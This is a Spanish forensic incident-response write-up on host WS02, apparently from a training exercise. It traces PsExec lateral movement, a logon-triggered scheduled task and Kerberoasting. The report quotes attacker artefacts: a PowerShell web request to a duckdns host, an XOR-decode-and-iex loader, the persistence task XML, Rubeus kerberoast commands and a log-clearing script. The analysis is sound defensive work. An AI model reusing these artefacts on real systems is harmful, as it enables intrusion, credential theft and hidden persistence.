Contenido
- ¡WARNING! ¡LÉEME PRIMERO!
- Resumen ejecutivo.
- Antecedentes.
- Gestión del incidente
- 4.1. DC02 – 192.168.20.46
- 4.2. WS02 – 192.168.20.42
- 4.3. WS01 – 192.168.20.41
- 4.4. SRV01
- Conclusiones finales.
- Línea temporal del ataque.
- Impacto.
- Atribución.
- Lecciones aprendidas.
- Anexo A: IOC.
- FAQ (del meta, no del incidente).
4.2. WS02 – 192.168.20.42
Se ejecuta la herramienta Hayabusa sobre los logs, encontrando las siguientes alertas:
──────────────────────────────────────╮
│ Top critical alerts: Top high alerts: │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ n/a Suspicious Eventlog Clearing or Configuration Change Activity (298) │
| n/a ETW Trace Evasion Activity (3) │
│ n/a Important Log File Cleared (2) │
│ n/a Log Cleared (1) │
│ n/a n/a │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ Top medium alerts: Top low alerts: │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
│ ISO Image Mounted (167) n/a │
│ Reg Key Value Set (Sysmon Alert) (8) n/a │
│ HackTool – LaZagne Execution (7) n/a │
│ Log File Cleared (2) n/a │
│ Net Conn (Sysmon Alert) (2) n/a │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌
Se revisan las alertas sin encontrar actividad maliciosa.
Se extrae la MFT del triaje, se convierte de binario a .csv con la herramienta mftdump, y se revisan los ficheros creados el 22/03/2024, encontrando los siguientes de interés:
1) Ejecución de PSEXEC: se observa la creación del servicio de psexec, empleado para la ejecución remota de código:
2024-03-22 11:41:07 2024-03-22 11:47:57 2024-03-22 11:41:07 2024-03-22 11:41:07 193984 exe \Windows\PSEXESVC.exe
2024-03-22 11:41:39 2024-03-22 11:41:39 2024-03-22 11:41:39 2024-03-22 11:41:39 4290 pf \Windows\Prefetch\PSEXESVC.EXE-AD70946C.pf
El hecho de encontrar el binario PSEXESVC.exe, así como el mismo binario en el Prefetch indica que este equipo es el que ha recibido la ejecución del comando. Se revisan los logs de eventos de System, pero han sido borrados por lo que a priori no se puede saber el origen de la comunicación.
Dado que se tienen la RAM del equipo, se hace uso del plugin windows.netscan.NetScan de Volatility para extraer las conexiones de red, pero no se encuentra ninguna conexión entrante al puerto 445/tcp (signo del uso de psexec).
Se ejecuta el comando de Linux strings realizando una búsqueda de proximidad (-A 10 –B 10 para sacar las diez líneas anteriores y posteriores a cada coincidencia), encontrando otro fichero de interés:
459592846 C:\Windows\PSEXESVC.exe
459592872 C:\Windows\PSEXESVC.exe
459593012 Collected Data
459593045 5736:133555812896042651
459593076 C:\Windows\System32\services.exe
459593113 812:133555366942172371
459593145 C:\Windows\System32\csrss.exe
459593177 596:133555366938091543
459593207 9C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
459593268 -“powershell” -ep bypass -NoExit C:\update.ps1
El fichero está en la MFT del equipo, y ha sido creado en el entorno del incidente:
2024-03-22 11:40:09 2024-03-22 12:17:53 2024-03-22 11:39:25 2024-03-22 11:39:25 278 ps1 \update.ps1
Se solicita el fichero a la Organización, y se pivota sobre el mismo en la RAM, confirmando que se ha ejecutado con la cuenta de localadmin (ver extracto de un log de eventos de Powershell recuperado de las strings):
37306932 ScriptName
37306984 CommandLine=
37307036 CommandLine
37307084 DetailSequence=1
37307122 DetailTotal=1
37307158 SequenceNumber=31
37307202 UserId=MEGACORP\localadmin
37307260 HostName=ConsoleHost
37307306 HostVersion=5.1.22621.2506
37307364 HostId=213c6ab9-8915-4bac-9632-3ac289d13d0a
37307456 HostApplication=powershell -ep bypass -NoExit C:\update.ps1
37307580 EngineVersion=5.1.22621.2506
37307642 RunspaceId=15030c46-fd6c-4257-bd3a-1b1c233b98a9
37307742 PipelineId=7
37307772 ScriptName=
37307800 CommandLine=
Se continua el análisis de las cadenas relacionadas con psexec, encontrando algunas de interés:
https://baklava014.duckdns[.]org/
Si se pivota sobre la cadena, se encuentra una relación directa entre el dominio y un script en Powershell (iwr es equivalente en Powershell a Invoke-WebRequest), posiblemente update.ps1
2927642912 $encryptedContent = (iwr http://baklava014.duckdns.org:8000/public.png).Content -as [byte[]]
Así mismo, se encuentra una dirección IP implicada:
2070708560 192.168.20.41:54027
Si se pivota sobre la IP se encuentran posibles contactos con la ejecución de PSEXEC:
778102384 \PSEXESVC-WS01-12448-stderrlocaladmin\\192.168.20.41MEGACORP\localadmin
1870648880 \PSEXESVC-WS01-12448-stdoutlocaladmin\\192.168.20.41MEGACORP\localadmin
1902092080 \PSEXESVC-WS01-12448-stdinlocaladmin\\192.168.20.41MEGACORP\localadmin
2682389856 \PSEXESVClocaladmin\\192.168.20.41MEGACORP\localadmin
2788746688 \PSEXESVClocaladmin\\192.168.20.41MEGACORP\localadmin
3951699904 \PSEXESVC-WS01-3944-stdoutlocaladmin\\192.168.20.41MEGACORP\localadmin
3951700864 \PSEXESVC-WS01-3944-stderrlocaladmin\\192.168.20.41MEGACORP\localadmin
3951702464 \PSEXESVC-WS01-3944-stdinlocaladmin\\192.168.20.41MEGACORP\localadmin
Se solicita a la Organización la obtención de evidencias de ese equipo, ya que todo apunta a que es el origen de la conexión de psexec.
Se ejecuta el plugin de Volatility cmdlines contra la RAM, volviendo a encontrar el update.ps1 muy cercano en ejecución al psexec:
5736 PSEXESVC.exe C:\Windows\PSEXESVC.exe
1244 powershell.exe “powershell” -ep bypass -NoExit C:\update.ps1
Se tiene la hipótesis de que los atacantes han copiado el fichero update.ps1 a WS02, ejecutándolo a continuación con PSEXEC.
2) Creación de una tarea programada:
2024-03-22 11:43:02 2024-03-22 11:57:29 2024-03-22 11:43:02 2024-03-22 11:43:02 3406 \Windows\System32\Tasks\OneDriveUpdateTask
Se recupera la tarea programada del triaje del equipo:
<?xml version=”1.0″ encoding=”UTF-16″?>
<Task version=”1.2″ xmlns=”http://schemas.microsoft.com/windows/2004/02/mit/task”>
<RegistrationInfo>
<Date>2024-03-22T12:43:02</Date>
<Author>MEGACORP\localadmin</Author>
<URI>\OneDriveUpdateTask</URI>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<StartBoundary>2024-03-22T12:43:00</StartBoundary>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context=”Author”>
<Exec>
<Command>powershell.exe</Command>
<Arguments>-ep bypass -NoExit C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1</Arguments>
</Exec>
</Actions>
<Principals>
<Principal id=”Author”>
<UserId>S-1-5-18</UserId>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
</Task>
El <Triggers><LogonTrigger> especifica que esta tarea se ejecuta cuando el usuario inicia sesión, por lo que debería actuar como mecanismo de persistencia, y ejecuta el fichero OneDriveUpdater.ps1 con el usuario S-1-5-18 (SYSTEM).
El fichero referenciado ha sido creado minutos antes:
2024-03-22 11:42:49 2024-03-22 11:47:57 2024-03-22 11:42:49 2024-03-22 11:42:49 307 ps1 \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
El fichero no está en el listado de los recogidos por el triaje, pero ya que se dispone de la RAM se hace uso del plugin filescan, comprobando que se encuentra cargado en la memoria:
#/opt/vol3/vol.py -f WS02-20240322-125235.dmp windows.filescan.FileScan |fgrep OneDriveUpdater.ps1
0xbb01ec6870a0 \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1 216
Se recupera el fichero con el plugin de Volatility3 dumpfiles:
/opt/vol3/vol.py -f WS02-20240322-125235.dmp -o dump windows.dumpfiles.DumpFiles –virtaddr 0xbb01ec6870a0
El contenido es el siguiente:
$encryptedFilePath = “C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\updater-config.xml”
$encryptedContent = [IO.File]::ReadAllBytes($encryptedFilePath)
$decryptedContent = $encryptedContent | ForEach-Object { $_ -bxor 0x10 }
[System.Text.Encoding]::UTF8.GetString($decryptedContent) | iex
El script en Powershell coge el contenido del fichero updater-config.xml, lo “descifra” aplicando la operación XOR y lo ejecuta. El fichero existe en el dispositivo:
2024-03-22 11:42:33 2024-03-22 11:42:34 2024-03-22 11:42:33 2024-03-22 11:42:33 521159 xml \Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\updater-config.xml
Se intenta recuperar de la RAM sin éxito. Se solicita el fichero a la Organización para su análisis.
3) Diversas descargas y ejecuciones de la herramienta Rubeus, empleada para el abuso de Kerberos (y capaz de realizar ataques de Kerberoasting)
2024-03-22 11:47:32 2024-03-22 11:50:41 2024-03-22 11:47:32 2024-03-22 11:47:32 277504 exe \Users\Public\Rubeus35.exe
2024-03-22 11:47:59 2024-03-22 11:50:39 2024-03-22 11:50:39 2024-03-22 11:50:39 3028 pf \Windows\Prefetch\RUBEUS35.EXE-4289EF17.pf
2024-03-22 11:51:17 2024-03-22 11:56:12 2024-03-22 11:51:17 2024-03-22 11:51:17 446976 exe \Users\Public\Rubeus.exe
2024-03-22 11:51:27 2024-03-22 11:56:11 2024-03-22 11:56:11 2024-03-22 11:56:11 16322 pf \Windows\Prefetch\RUBEUS.EXE-7C0DB5D7.pf
2024-03-22 11:57:28 2024-03-22 11:59:13 2024-03-22 11:59:13 2024-03-22 11:59:13 14759 pf \Windows\Prefetch\RUBEUS45.EXE-A7FC6054.pf
Para analizar lo que han podido hacer los atacantes con Rubeus (ya que se tienen fuertes sospechas de que es la herramienta empleada para llevar a cabo el Kerberoasting), se realiza un análisis de las cadenas de la memoria.
$ strings -a -td WS02-20240322-125235.dmp > strings_ws02.txt
$ strings -a -td -el WS02-20240322-125235.dmp >> strings_ws02.txt
$ fgrep -i rubeus strings_ws02.txt > strings_ws02_rubeus.txt
721502208 \Rubeus.exe” kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
764819725 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
764819797 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
953937348 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
973596260 .\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
973596332 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
973597523 .\Rubeus.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
2824607176 -C .\Rubeus45.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 /domain:megacorp /dc:192.168.20.46
3194577944 u”C:\Users\Public\Rubeus45.exe” kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 /domain:megacorp /dc:192.168.20.46
Se confirma el uso de Rubeus para llevar a cabo un ataque de Kerberoasting contra la cuenta de sqladmin. La misma conclusión podría obtenerse viendo el historial de Powershell:
C\Users\localadmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHistory.txt
.\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111
Como detalle de interés, es posible que una de las ejecuciones de Rubeus hubiera sido detectada por el antivirus Windows Defender:
1310634318 2024-03-22T11:50:38.877Z DETECTION_ADD#2 Trojan:Win32/Commandrob.A!ml CmdLine:C:\Users\Public\Rubeus35.exe kerberoast /spn:SRV01/SQLadmin.megacorp.local:60111 PropBag [length: 0, data: (null)]
4) Ejecución del binario fondue.exe
2024-03-22 11:47:59 2024-03-22 11:50:48 2024-03-22 11:50:48 2024-03-22 11:50:48 8093 pf \Windows\Prefetch\FONDUE.EXE-F93B29DA.pf
Se descarga de la memoria, y se comprueba que parece que la extracción ha sido exitosa:
$ file *
file.0xbb01eb318190.0xbb01e694c520.ImageSectionObject.Fondue.exe.img: PE32+ executable (GUI) x86-64, for MS Windows
file.0xbb01eb318190.0xbb01e92c40b0.DataSectionObject.Fondue.exe.dat: PE32+ executable (GUI) x86-64, for MS Windows
El fichero tiene un único hit en VirusTotal:
https://tria.ge/231124-pyjk7abg3v
Pero según la documentación parece legítimo:
https://learn.microsoft.com/es-es/windows-server/administration/windows-commands/fondue
Se busca en las cadenas de memoria y se confirma que no es malicioso:
1414026278 FONDUE.exe /enable-feature:NETFX3 /caller-name:Admin.bat /hide-ux:all
5) Ejecución de whoami.exe (muy empleado por los atacantes como herramienta de reconocimiento):
2024-03-22 11:54:39 2024-03-22 11:54:39 2024-03-22 11:54:39 2024-03-22 11:54:39 2830 pf \Windows\Prefetch\WHOAMI.EXE-9D378AFE.pf
6) Script de borrado de los logs de eventos:
2024-03-22 12:44:12 2024-03-22 12:45:26 2024-03-22 12:44:12 2024-03-22 12:44:12 378 bat \Users\Public\clear-logs.bat
El análisis forense de la máquina permite establecer las siguientes conclusiones:
- Los atacantes han lanzado psexec con casi total seguridad desde la IP 192.168.20.41, posiblemente ejecutando el script de Powershell update.ps1.
- Dicho script realizaba con alta probabilidad conexiones contra el dominio https://baklava014.duckdns[.]org/
- Se ha creado una tarea programada (OneDriveUpdateTask ) para la persistencia en el equipo, que lanzaba el script OneDriveUpdater.ps1. Dicho script hace referencia al fichero updater-config.xml
- Se confirma el ataque de Kerberoasting a través de la herramienta Rubeus.
Dado que se tienen altas sospechas de que los atacantes han ejecutado el psexec desde la IP 192.168.20.41, se continúa el análisis desde dicho equipo.
Speak Your Mind